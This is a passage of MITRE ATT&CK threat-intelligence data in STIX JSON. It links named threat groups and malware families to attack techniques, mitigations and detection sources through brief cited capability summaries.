2017)","relationship_type":"uses","source_ref":"intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90","target_ref":"attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6c0aae73-fe06-4aa3-8216-568d78747c6d","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT30","description":"FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.","url":"https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"}],"modified":"2020-03-20T22:30:03.938Z","description":"Newer variants of [BACKSPACE](https://attack.mitre.org/software/S0031) will encode C2 communications with a custom system.(Citation: FireEye APT30)","relationship_type":"uses","source_ref":"malware--fb261c56-b80e-43a9-8351-c84081e7213d","target_ref":"attack-pattern--d467bc38-284b-4a00-96ac-125f447799fc","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6c0ae1dc-2429-42fd-899e-8aafb9adc50c","type":"relationship","created":"2021-01-27T16:38:12.013Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET EvilNum July 2020","url":"https://www.welivesecurity.com/2020/07/09/more-evil-deep-look-evilnum-toolset/","description":"Porolli, M. (2020, July 9). More evil: A deep look at Evilnum and its toolset. Retrieved January 22, 2021."}],"modified":"2021-04-27T19:55:58.760Z","description":"[Evilnum](https://attack.mitre.org/groups/G0120) has sent spearphishing emails designed to trick the recipient into opening malicious shortcut links which downloads a .LNK file.(Citation: ESET EvilNum July 2020)","relationship_type":"uses","source_ref":"intrusion-set--1f0f9a14-11aa-49aa-9174-bcd0eaa979de","target_ref":"attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6c0d9758-34f0-49b4-ad12-91329b4398e2","created":"2020-07-16T15:10:35.333Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET ForSSHe December 2018","description":"Dumont, R., M.Léveillé, M., Porcher, H. (2018, December 1). THE DARK SIDE OF THE FORSSHE A landscape of OpenSSH backdoors. Retrieved July 16, 2020.","url":"https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-25T15:04:30.859Z","description":"[Bonadan](https://attack.mitre.org/software/S0486) can download an additional module which has a cryptocurrency mining extension.(Citation: ESET ForSSHe December 2018)","relationship_type":"uses","source_ref":"malware--4c6d62c2-89f5-4159-8fab-0190b1f9d328","target_ref":"attack-pattern--a718a0c8-5768-41a1-9958-a1cc3f995e99","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6c0f270a-cf44-4d71-a398-1d822f1d48ac","created":"2024-01-10T20:20:01.041Z","revoked":false,"external_references":[{"source_name":"Kaspersky ToddyCat June 2022","description":"Dedola, G. (2022, June 21). APT ToddyCat. Retrieved January 3, 2024.","url":"https://securelist.com/toddycat/106799/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-10T20:20:01.041Z","description":"[Samurai](https://attack.mitre.org/software/S1099) can use a proxy module to forward TCP packets to external hosts.(Citation: Kaspersky ToddyCat June 2022)","relationship_type":"uses","source_ref":"malware--ae91fb8f-5031-4f57-9839-e3be3ed503f0","target_ref":"attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6c10bd99-6932-451d-b739-13adf1276a22","type":"relationship","created":"2021-09-07T15:24:47.953Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf","description":"Huss, D. (2016, March 1). Operation Transparent Tribe. Retrieved June 8, 2016.","source_name":"Proofpoint Operation Transparent Tribe March 2016"}],"modified":"2021-10-15T14:37:10.021Z","description":"[Peppy](https://attack.mitre.org/software/S0643) can take screenshots on targeted systems.(Citation: Proofpoint Operation Transparent Tribe March 2016)","relationship_type":"uses","source_ref":"malware--6c2550d5-a01a-4bbb-a004-6ead348ba623","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6c10da0b-4dfd-4389-b3e3-3599a2fab859","created":"2023-01-03T19:06:30.274Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant APT41","description":"Rufus Brown, Van Ta, Douglas Bienstock, Geoff Ackerman, John Wolfram. (2022, March 8). Does This Look Infected? A Summary of APT41 Targeting U.S. State Governments. Retrieved July 8, 2022.","url":"https://www.mandiant.com/resources/apt41-us-state-governments"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-01-03T20:54:38.678Z","description":"During [C0017](https://attack.mitre.org/campaigns/C0017), [APT41](https://attack.mitre.org/groups/G0096) exfiltrated victim data via DNS lookups by encoding and prepending it as subdomains to the attacker-controlled domain.(Citation: Mandiant APT41)","relationship_type":"uses","source_ref":"campaign--ba6dfa37-f401-4140-88b0-8938f2895e61","target_ref":"attack-pattern--fb8d023d-45be-47e9-bc51-f56bcae6435b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6c130246-6222-4395-8edc-cb325b437696","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 QUADAGENT July 2018","description":"Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/"}],"modified":"2020-03-17T02:18:35.336Z","description":"[QUADAGENT](https://attack.mitre.org/software/S0269) gathers the current domain the victim system belongs to.(Citation: Unit 42 QUADAGENT July 2018)","relationship_type":"uses","source_ref":"malware--7e6c2a9d-9dc1-4eb0-b27c-91e8076a9d77","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6c130c97-8623-4d14-829e-0e90dd0757a0","type":"relationship","created":"2019-01-30T15:43:19.382Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"McAfee Oceansalt Oct 2018","url":"https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-oceansalt.pdf","description":"Sherstobitoff, R., Malhotra, A. (2018, October 18). ‘Operation Oceansalt’ Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group. Retrieved November 30, 2018."}],"modified":"2019-02-12T21:14:11.181Z","description":"[OceanSalt](https://attack.mitre.org/software/S0346) can extract drive information from the endpoint and search files on the system.(Citation: McAfee Oceansalt Oct 2018)","relationship_type":"uses","source_ref":"malware--288fa242-e894-4c7e-ac86-856deedf5cea","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6c1c0c1e-91fb-4285-9656-8d452e630fb3","type":"relationship","created":"2020-03-02T19:28:55.583Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-10-18T01:55:03.240Z","description":"Anti-virus can also automatically quarantine suspicious files.","relationship_type":"mitigates","source_ref":"course-of-action--a6a47a06-08fc-4ec4-bdc3-20373375ebb9","target_ref":"attack-pattern--f6ad61ee-65f3-4bd0-a3f5-2f0accb36317","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6c1c4fa3-7b48-4d9e-ab23-5f0c5dd4e98a","type":"relationship","created":"2021-08-05T13:11:10.201Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-15T22:43:31.193Z","description":"Data loss prevention can detect and block sensitive data being uploaded via web browsers.","relationship_type":"mitigates","source_ref":"course-of-action--65401701-019d-44ff-b223-08d520bb0e7b","target_ref":"attack-pattern--a19e86f8-1c0a-4fea-8407-23b73d615776","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6c1ca5ac-fa01-44f3-997c-ef8b28dc22f3","type":"relationship","created":"2021-05-21T20:36:30.993Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec WastedLocker June 2020","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/wastedlocker-ransomware-us","description":"Symantec Threat Intelligence. (2020, June 25). WastedLocker: Symantec Identifies Wave of Attacks Against U.S. Organizations. Retrieved May 20, 2021."},{"source_name":"NCC Group WastedLocker June 2020","url":"https://research.nccgroup.com/2020/06/23/wastedlocker-a-new-ransomware-variant-developed-by-the-evil-corp-group/","description":"Antenucci, S., Pantazopoulos, N., Sandee, M. (2020, June 23). WastedLocker: A New Ransomware Variant Developed By The Evil Corp Group. Retrieved September 14, 2021."},{"source_name":"Sentinel Labs WastedLocker July 2020","url":"https://www.sentinelone.com/labs/wastedlocker-ransomware-abusing-ads-and-ntfs-file-attributes/","description":"Walter, J.. (2020, July 23). WastedLocker Ransomware: Abusing ADS and NTFS File Attributes. Retrieved September 14, 2021."}],"modified":"2021-09-14T20:47:33.570Z","description":"[WastedLocker](https://attack.mitre.org/software/S0612) can encrypt data and leave a ransom note.(Citation: Symantec WastedLocker June 2020)(Citation: NCC Group WastedLocker June 2020)(Citation: Sentinel Labs WastedLocker July 2020) ","relationship_type":"uses","source_ref":"malware--46cbafbc-8907-42d3-9002-5327c26f8927","target_ref":"attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6c1da818-6e35-4fa8-ad40-e45c2c90e016","type":"relationship","created":"2020-05-29T16:34:40.452Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft Protected Users Security Group","url":"https://docs.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/protected-users-security-group","description":"Microsoft. (2016, October 12). Protected Users Security Group. Retrieved May 29, 2020."}],"modified":"2020-05-29T16:34:40.452Z","description":"Consider adding users to the \"Protected Users\" Active Directory security group. This can help limit the caching of users' plaintext credentials.(Citation: Microsoft Protected Users Security Group)","relationship_type":"mitigates","source_ref":"course-of-action--e3388c78-2a8d-47c2-8422-c1398b324462","target_ref":"attack-pattern--6add2ab5-2711-4e9d-87c8-7a0be8531530","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6c2e3490-d5d7-44de-9736-acc3669c7a6a","created":"2020-12-02T15:04:45.773Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Trend Micro MacOS Backdoor November 2020","description":"Magisa, L. (2020, November 27). New MacOS Backdoor Connected to OceanLotus Surfaces. Retrieved December 2, 2020.","url":"https://www.trendmicro.com/en_us/research/20/k/new-macos-backdoor-connected-to-oceanlotus-surfaces.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-12T20:38:26.989Z","description":"[OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) can also use use HTTP POST and GET requests to send and receive C2 information.(Citation: Trend Micro MacOS Backdoor November 2020)","relationship_type":"uses","source_ref":"malware--b00f90b6-c75c-4bfd-b813-ca9e6c9ebf29","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6c2f9c04-540f-4ea9-be8a-95ca1d6866cd","created":"2024-08-14T14:52:10.417Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Microsoft Albanian Government Attacks September 2022","description":"MSTIC. (2022, September 8). Microsoft investigates Iranian attacks against the Albanian government. Retrieved August 6, 2024.","url":"https://www.microsoft.com/en-us/security/blog/2022/09/08/microsoft-investigates-iranian-attacks-against-the-albanian-government/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-14T14:52:35.140Z","description":"[ROADSWEEP](https://attack.mitre.org/software/S1150) has dropped ransom notes in targeted folders prior to encrypting the files.(Citation: Microsoft Albanian Government Attacks September 2022)\n","relationship_type":"uses","source_ref":"malware--be471c69-12d5-4bcc-9dad-3d42c3dbca4b","target_ref":"attack-pattern--8c41090b-aa47-4331-986b-8c9a51a91103","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6c320415-f45c-438a-9671-c4c831ebd7fc","type":"relationship","created":"2021-01-12T18:38:41.015Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Proofpoint NETWIRE December 2020","url":"https://www.proofpoint.com/us/blog/threat-insight/geofenced-netwire-campaigns","description":"Proofpoint. (2020, December 2). Geofenced NetWire Campaigns. Retrieved January 7, 2021."}],"modified":"2021-01-12T18:38:41.015Z","description":"[NETWIRE](https://attack.mitre.org/software/S0198) has the ability to search for files on the compromised host.(Citation: Proofpoint NETWIRE December 2020)","relationship_type":"uses","source_ref":"malware--2a70812b-f1ef-44db-8578-a496a227aef2","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6c3d4f83-49e2-42fa-a4b8-823f04b3cd32","created":"2024-09-04T18:25:03.951Z","revoked":false,"external_references":[{"source_name":"Talos Manjusaka 2022","description":"Asheer Malhotra & Vitor Ventura. (2022, August 2). Manjusaka: A Chinese sibling of Sliver and Cobalt Strike. Retrieved September 4, 2024.","url":"https://blog.talosintelligence.com/manjusaka-offensive-framework/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-04T18:25:03.951Z","description":"[Manjusaka](https://attack.mitre.org/software/S1156) can gather information about specific files on the victim system.(Citation: Talos Manjusaka 2022)","relationship_type":"uses","source_ref":"malware--dd2ad3d7-d7ef-4af5-a919-bfe8f2571705","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6c3ee326-0ce4-449d-8073-3ee0e8185821","created":"2022-03-30T14:26:51.850Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-11-06T20:20:41.652Z","description":"Monitor for contextual data about a file, which may include information such as name, the content (ex: signature, headers, or data/media), user/owner, permissions may set files and directories to be hidden to evade detection mechanisms.","relationship_type":"detects","source_ref":"x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5","target_ref":"attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6c42fa31-80df-4d67-92d2-4273c22a4d5b","type":"relationship","created":"2019-06-28T13:52:51.413Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Faou, M. (2019, May). Turla LightNeuron: One email away from remote code execution. Retrieved June 24, 2019.","url":"https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf","source_name":"ESET LightNeuron May 2019"}],"modified":"2020-03-17T16:29:51.887Z","description":"[LightNeuron](https://attack.mitre.org/software/S0395) collects Exchange emails matching rules specified in its configuration.(Citation: ESET LightNeuron May 2019)","relationship_type":"uses","source_ref":"malware--6ba1d7ae-d60b-43e6-9f08-a8b787e9d9cb","target_ref":"attack-pattern--b4694861-542c-48ea-9eb1-10d356e7140a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6c4a3ef5-8aee-4fe8-b2c6-386f90c057a4","type":"relationship","created":"2021-04-20T02:54:12.394Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Volexity Ocean Lotus November 2020","url":"https://www.volexity.com/blog/2020/11/06/oceanlotus-extending-cyber-espionage-operations-through-fake-websites/","description":"Adair, S. and Lancaster, T. (2020, November 6). OceanLotus: Extending Cyber Espionage Operations Through Fake Websites. Retrieved November 20, 2020."}],"modified":"2021-04-20T02:54:12.394Z","description":"[APT32](https://attack.mitre.org/groups/G0050) has stood up websites containing numerous articles and content scraped from the Internet to make them appear legitimate, but some of these pages include malicious JavaScript to profile the potential victim or infect them via a fake software update.(Citation: Volexity Ocean Lotus November 2020)","relationship_type":"uses","source_ref":"intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e","target_ref":"attack-pattern--31fe0ba2-62fd-4fd9-9293-4043d84f7fe9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6c4b2975-6cad-4a10-8006-1e2e973a8a8b","created":"2021-08-04T18:30:20.293Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"MSTIC Nobelium Oct 2021","description":"Microsoft Threat Intelligence Center. (2021, October 25). NOBELIUM targeting delegated administrative privileges to facilitate broader attacks. Retrieved March 25, 2022.","url":"https://www.microsoft.com/security/blog/2021/10/25/nobelium-targeting-delegated-administrative-privileges-to-facilitate-broader-attacks/"},{"source_name":"MSRC Nobelium June 2021","description":"MSRC. (2021, June 25). New Nobelium activity. Retrieved August 4, 2021.","url":"https://msrc-blog.microsoft.com/2021/06/25/new-nobelium-activity/"},{"source_name":"NCSC et al APT29 2024","description":"UK National Cyber Security Center et al. (2024, February). SVR cyber actors adapt tactics for initial cloud access. Retrieved March 1, 2024.","url":"https://www.ic3.gov/Media/News/2024/240226.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-06T19:14:12.550Z","description":"[APT29](https://attack.mitre.org/groups/G0016) has conducted brute force password spray attacks.(Citation: MSRC Nobelium June 2021)(Citation: MSTIC Nobelium Oct 2021)(Citation: NCSC et al APT29 2024)","relationship_type":"uses","source_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","target_ref":"attack-pattern--692074ae-bb62-4a5e-a735-02cb6bde458c","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--6c4c4e5d-0641-4441-a5aa-d27f3362811f","created":"2021-12-27T16:53:14.037Z","x_mitre_version":"1.0","external_references":[{"source_name":"Uptycs Confucius APT Jan 2021","url":"https://www.uptycs.com/blog/confucius-apt-deploys-warzone-rat","description":"Uptycs Threat Research Team. (2021, January 12). Confucius APT deploys Warzone RAT. Retrieved December 17, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Confucius](https://attack.mitre.org/groups/G0142) has crafted and sent victims malicious attachments to gain initial access.(Citation: Uptycs Confucius APT Jan 2021)","modified":"2022-06-30T20:15:32.700Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--6eded342-33e5-4451-b6b2-e1c62863129f","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6c4fc721-fe3b-4e0c-8fe6-2c8c07ac0df5","type":"relationship","created":"2021-04-14T15:25:06.099Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA EB Aug 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-239a","description":"Cybersecurity and Infrastructure Security Agency. (2020, August 26). MAR-10301706-1.v1 - North Korean Remote Access Tool: ECCENTRICBANDWAGON. Retrieved March 18, 2021."}],"modified":"2021-04-14T15:25:06.099Z","description":"[ECCENTRICBANDWAGON](https://attack.mitre.org/software/S0593) can use [cmd](https://attack.mitre.org/software/S0106) to execute commands on a victim’s machine.(Citation: CISA EB Aug 2020)","relationship_type":"uses","source_ref":"malware--e928333f-f3df-4039-9b8b-556c2add0e42","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6c5378fb-d1d3-4873-bf38-5553df5b8845","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"fsecure NanHaiShu July 2016","description":"F-Secure Labs. (2016, July). NANHAISHU RATing the South China Sea. Retrieved July 6, 2018.","url":"https://www.f-secure.com/documents/996508/1030745/nanhaishu_whitepaper.pdf"}],"modified":"2020-03-17T01:53:17.430Z","description":"[NanHaiShu](https://attack.mitre.org/software/S0228) launches a script to delete their original decoy file to cover tracks.(Citation: fsecure NanHaiShu July 2016)","relationship_type":"uses","source_ref":"malware--705f0783-5f7d-4491-b6b7-9628e6e006d2","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6c56201e-f348-43ea-8b51-8230d2bf0970","type":"relationship","created":"2021-04-06T12:22:23.744Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Aqua Kinsing April 2020","url":"https://blog.aquasec.com/threat-alert-kinsing-malware-container-vulnerability","description":"Singer, G. (2020, April 3). Threat Alert: Kinsing Malware Attacks Targeting Container Environments. Retrieved April 1, 2021."}],"modified":"2021-04-06T12:22:23.744Z","description":"[Kinsing](https://attack.mitre.org/software/S0599) has attempted to brute force hosts over SSH.(Citation: Aqua Kinsing April 2020)","relationship_type":"uses","source_ref":"malware--d6e55656-e43f-411f-a7af-45df650471c5","target_ref":"attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--6c56fdb0-d6cc-4a25-aa19-7191410704ef","created":"2022-03-25T19:30:14.793Z","x_mitre_version":"1.0","external_references":[{"source_name":"Crowdstrike DriveSlayer February 2022","url":"https://www.crowdstrike.com/blog/how-crowdstrike-falcon-protects-against-wiper-malware-used-in-ukraine-attacks/","description":"Thomas, W. et al. (2022, February 25). CrowdStrike Falcon Protects from New Wiper Malware Used in Ukraine Cyberattacks. Retrieved March 25, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[HermeticWiper](https://attack.mitre.org/software/S0697) has the ability to receive a command parameter to sleep prior to carrying out destructive actions on a targeted host.(Citation: Crowdstrike DriveSlayer February 2022)","modified":"2022-04-10T16:24:00.046Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--a0ab8a96-40c9-4483-8a54-3fafa6d6007a","target_ref":"attack-pattern--4bed873f-0b7d-41d4-b93a-b6905d1f90b0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6c62f14a-0c1a-4dea-82eb-8c352d0c5f70","created":"2024-06-06T19:06:43.713Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cybereason INC Ransomware November 2023","description":"Cybereason Security Research Team. (2023, November 20). Threat Alert: INC Ransomware. Retrieved June 5, 2024.","url":"https://www.cybereason.com/hubfs/dam/collateral/reports/threat-alert-inc-ransomware.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-06-11T15:42:14.067Z","description":"[INC Ransomware](https://attack.mitre.org/software/S1139) has the ability to check for shared network drives to encrypt.(Citation: Cybereason INC Ransomware November 2023)","relationship_type":"uses","source_ref":"malware--f25d4207-25b2-4bb0-a17a-403943c670ad","target_ref":"attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6c692a16-22b8-42bb-9a6b-3c25a2714cf5","type":"relationship","created":"2020-06-12T16:15:04.920Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Eset Ramsay May 2020","url":"https://www.welivesecurity.com/2020/05/13/ramsay-cyberespionage-toolkit-airgapped-networks/","description":"Sanmillan, I.. (2020, May 13). Ramsay: A cyber‑espionage toolkit tailored for air‑gapped networks. Retrieved May 27, 2020."}],"modified":"2020-06-12T16:15:04.920Z","description":"[Ramsay](https://attack.mitre.org/software/S0458) can collect data from network drives and stage it for exfiltration.(Citation: Eset Ramsay May 